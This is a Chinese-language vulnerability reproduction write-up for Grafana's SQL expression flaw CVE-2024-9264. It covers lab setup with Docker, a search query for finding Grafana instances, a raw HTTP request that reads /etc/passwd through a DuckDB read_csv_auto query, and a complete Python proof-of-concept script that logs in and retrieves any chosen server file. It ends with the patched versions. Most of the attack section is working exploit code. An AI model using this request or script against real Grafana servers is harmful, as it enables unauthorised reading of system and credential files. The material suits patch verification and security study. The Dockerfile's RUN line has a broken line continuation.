# Grafana SQL 表达式远程代码执行漏洞 CVE-2024-9264

## 漏洞描述

Grafana 的 SQL 表达式实验特性功能允许用户输入的 `duckdb` 查询。这些查询在传递给 `duckdb` 之前未经过充分过滤，从而导致命令注入和本地文件包含漏洞。任何具有 VIEWER 或更高权限的用户都能够执行此攻击。

注意，`duckdb` 二进制文件必须存在于 Grafana 的 `$PATH` 中，此攻击才能成功；默认情况下，此二进制文件未安装在 Grafana 发行版中。

参考链接：

- https://grafana.com/security/security-advisories/cve-2024-9264/
- https://zekosec.com/blog/file-read-grafana-cve-2024-9264/

## 漏洞影响

```
Grafana 11.x.x
```

## 网络测绘

```
app="Grafana_Labs-公司产品"
```

## 环境搭建

我们使用 Grafana 11.0.0 构建环境，安装  `duckdb` 二进制文件并将其添加到 Grafana 的 `$PATH` 中。下载 [duckdb_cli-linux-amd64.zip](https://github.com/duckdb/duckdb/releases/download/v0.8.1/duckdb_cli-linux-amd64.zip)，与 Dockerfile、docker-compose.yml 放置在同一目录。

Dockerfile

```
FROM grafana/grafana:11.0.0-ubuntu

USER root

# Install DuckDB
COPY duckdb_cli-linux-amd64.zip /tmp/

RUN apt-get update && apt-get install -y && apt-get install unzip -y
    && unzip /tmp/duckdb_cli-linux-amd64.zip -d /usr/local/bin/ \
    && chmod +x /usr/local/bin/duckdb \
    && rm /tmp/duckdb_cli-linux-amd64.zip

# Add DuckDB to the PATH
ENV PATH="/usr/local/bin:${PATH}"
```

docker-compose.yml

```
services:
  mysql:
    image: mysql:latest
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=rootpassword
      - MYSQL_DATABASE=grafanadb
      - MYSQL_USER=grafana
      - MYSQL_PASSWORD=grafanapassword
    volumes:
      - ./mysql-data:/var/lib/mysql
    ports:
      - "3306:3306"
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "localhost"]
      interval: 10s
      timeout: 5s
      retries: 3
  
  grafana:
    build: .
    ports:
      - "3000:3000"
    environment:
      - GF_SECURITY_ADMIN_PASSWORD=AwesomePoc123!
      - GF_DATABASE_TYPE=mysql
      - GF_DATABASE_HOST=mysql:3306
      - GF_DATABASE_USER=grafana
      - GF_DATABASE_PASSWORD=grafanapassword
      - GF_DATABASE_NAME=grafanadb
    volumes:
      - grafana-storage:/var/lib/grafana
      - ./grafana.ini:/etc/grafana/grafana.ini

    depends_on:
        mysql:
         condition: service_healthy  
volumes:
  grafana-storage:
  mysql-storage:
```

当前目录执行如下命令，启动一个 Grafana 11.0.0 环境：

```
docker build -t grafana:11.0.0 .
docker-compose up -d
```

环境启动后，访问 `http://your-ip:3000` 即可查看到管理后台。由于配置了密码，需要使用 `admin/AwesomePoc123!` 登录管理后台。

![](images/Grafana%20SQL%20表达式远程代码执行漏洞%20CVE-2024-9264/image-20241105153155139.png)

## 漏洞复现

发送如下 POST 请求，将数据源类型修改为 `sql`。利用 `read_csv_auto（）` 从目标系统读取任意文件，例如，`/etc/passwd`：

```
POST /api/ds/query?ds_type=__expr__&expression=true&requestId=Q100 HTTP/1.1
Host: your-ip:3000
Content-Type: application/json
Cookie: grafana_session=23e897e4377fbd8c0386eb7d7d6c4664; grafana_session_expiry=1730791660
Content-Length: 368

{
  "from": "1696154400000",
  "to": "1696345200000",
  "queries": [
    {
      "datasource": {
        "name": "Expression",
        "type": "__expr__",
        "uid": "__expr__"
      },
      "expression": "SELECT * FROM read_csv_auto('/etc/passwd');",
      "hide": false,
      "refId": "B",
      "type": "sql",
      "window": ""
    }
  ]
}
```

![](images/Grafana%20SQL%20表达式远程代码执行漏洞%20CVE-2024-9264/image-20241105151930751.png)

## 漏洞 POC

```python
#!/usr/bin/env python3

"""
Grafana File Read PoC (CVE-2024-9264)
Author: z3k0sec // www.zekosec.com
"""


import requests
import json
import sys
import argparse

class Console:
    def log(self, msg):
        print(msg, file=sys.stderr)

console = Console()

def msg_success(msg):
    console.log(f"[SUCCESS] {msg}")

def msg_failure(msg):
    console.log(f"[FAILURE] {msg}")

def failure(msg):
    msg_failure(msg)
    sys.exit(1)

def authenticate(s, url, u, p):
    res = s.post(f"{url}/login", json={"password": p, "user": u})
    if res.json().get("message") == "Logged in":
        msg_success(f"Logged in as {u}:{p}")
    else:
        failure(f"Failed to log in as {u}:{p}")

def run_query(s, url, query):
    query_url = f"{url}/api/ds/query?ds_type=__expr__&expression=true&requestId=1"
    query_payload = {
        "from": "1696154400000",
        "to": "1696345200000",
        "queries": [
            {
                "datasource": {
                    "name": "Expression",
                    "type": "__expr__",
                    "uid": "__expr__"
                },
                "expression": query,
                "hide": False,
                "refId": "B",
                "type": "sql",
                "window": ""
            }
        ]
    }

    res = s.post(query_url, json=query_payload)
    data = res.json()

    # Handle unexpected response
    if "message" in data:
        msg_failure("Unexpected response:")
        msg_failure(json.dumps(data, indent=4))
        return None

    # Extract results
    frames = data.get("results", {}).get("B", {}).get("frames", [])

    if frames:
        values = [
            row
            for frame in frames
            for row in frame["data"]["values"]
        ]
        
        if values:
            msg_success("Successfully ran DuckDB query:")
            return values

    failure("No valid results found.")

def decode_output(values):
    return [":".join(str(i) for i in row if i is not None) for row in values]

def main(url, user="admin", password="admin", file=None):
    s = requests.Session()
    authenticate(s, url, user, password)
    file = file or "/etc/passwd"
    escaped_filename = requests.utils.quote(file)
    query = f"SELECT * FROM read_csv_auto('{escaped_filename}');"
    content = run_query(s, url, query)
    if content:
        msg_success(f"Retrieved file {file}:")
        for line in decode_output(content):
            print(line)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Arbitrary File Read in Grafana via SQL Expression (CVE-2024-9264).")
    parser.add_argument("--url", help="URL of the Grafana instance to exploit")
    parser.add_argument("--user", default="admin", help="Username to log in as, defaults to 'admin'")
    parser.add_argument("--password", default="admin", help="Password used to log in, defaults to 'admin'")
    parser.add_argument("--file", help="File to read on the server, defaults to '/etc/passwd'")


    args = parser.parse_args()
    main(args.url, args.user, args.password, args.file)

```

## 漏洞修复

该漏洞最早出现在 Grafana 11.0.0 版本，现已在以下版本（OSS 和 Enterprise 版本）中修复：

```
11.0.5+security-01
11.1.6+security-01
11.2.1+security-01
11.0.6+security-01
11.1.7+security-01
11.2.2+security-01
```
